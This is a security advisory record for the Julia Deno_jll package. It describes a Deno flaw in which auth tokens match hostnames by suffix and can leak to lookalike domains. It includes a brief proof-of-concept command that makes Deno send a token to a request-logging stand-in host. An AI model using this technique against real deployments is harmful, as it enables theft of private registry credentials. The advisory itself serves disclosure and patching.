JLSEC-2026-104

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Source
https://github.com/JuliaLang/SecurityAdvisories.jl/blob/main/advisories/published/2026/JLSEC-2026-104.md
Import Source
https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-104.json
JSON Data
https://api.osv.dev/v1/vulns/JLSEC-2026-104
Upstream
  • EUVD-2024-0827
Published
2026-04-14T13:10:46.494Z
Modified
2026-04-14T13:31:34.551843992Z
Severity
  • 4.6 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N CVSS Calculator
Summary
Deno's improper suffix match testing for DENO_AUTH_TOKENS
Details

Summary

Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.

Details

authtokens.rs uses a simple endswith check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.

PoC

  • Set up a server that logs requests. RequestBin will do. For example, denovulnpoc.example.com.
  • Run DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain. For example, DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com
  • Observe that the token intended only for the truncated domain is sent to the full domain

Impact

What kind of vulnerability is it? Who is impacted? Anyone who uses DENOAUTHTOKENS and imports potentially untrusted code is affected.

Database specific 
{
    "sources": [
        {
            "html_url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27932",
            "id": "CVE-2024-27932",
            "modified": "2025-01-03T19:19:52.197Z",
            "published": "2024-03-21T02:52:21.953Z",
            "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2024-27932",
            "imported": "2026-04-14T12:58:55.024Z"
        },
        {
            "html_url": "https://github.com/advisories/GHSA-5frw-4rwq-xhcr",
            "id": "GHSA-5frw-4rwq-xhcr",
            "modified": "2024-03-21T18:25:43Z",
            "published": "2024-03-06T17:03:36Z",
            "url": "https://api.github.com/advisories/GHSA-5frw-4rwq-xhcr",
            "imported": "2026-04-14T12:58:59.425Z"
        },
        {
            "html_url": "https://euvd.enisa.europa.eu/vulnerability/EUVD-2024-0827",
            "id": "EUVD-2024-0827",
            "modified": "2024-08-05T16:59:34Z",
            "published": "2024-03-06T20:45:16Z",
            "url": "https://euvdservices.enisa.europa.eu/api/enisaid?id=EUVD-2024-0827",
            "imported": "2026-04-14T12:58:57.176Z"
        }
    ],
    "license": "CC-BY-4.0"
}
References
Credits

Affected packages

Julia / Deno_jll

Package

Name
Deno_jll
Purl
pkg:julia/Deno_jll?uuid=04572ae6-984a-583e-9378-9577a1c2574d

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.0.0+0

Database specific

source 
"https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-104.json"